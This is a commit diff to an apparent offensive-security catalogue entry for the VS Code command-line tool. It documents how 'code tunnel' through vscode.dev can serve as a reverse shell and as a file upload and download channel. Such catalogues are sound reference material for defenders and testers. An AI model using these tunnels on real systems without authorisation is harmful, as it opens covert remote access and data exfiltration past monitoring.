add file-{upload,download}

This commit is contained in:
vhash 2023-09-25 15:59:18 +02:00
parent 6803fc5b9d
commit 70d0ff6a74

View File

@ -1,7 +1,23 @@
--- ---
functions: functions:
reverse-shell: reverse-shell:
- description: It can be used to create a tunnel to vscode.dev, that's accessible from anywhere, allowing to spawn a shell through it. - description: |
code: | Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.
code tunnel
Select `View \ Terminal` to spawn a shell on remote.
code: code tunnel -name 'my-tunnel-name'
file-upload:
- description: |
Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.
In the `Explorer` tab, select `Open Folder`, then right-click on the folder and select `Upload`.
Select file from the local file browser.
code: code tunnel -name 'my-tunnel-name'
file-download:
- description: |
Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.
In the `Explorer` tab, select `Open Folder`, then select a file, right-click and select `Download`.
code: code tunnel -name 'my-tunnel-name'
--- ---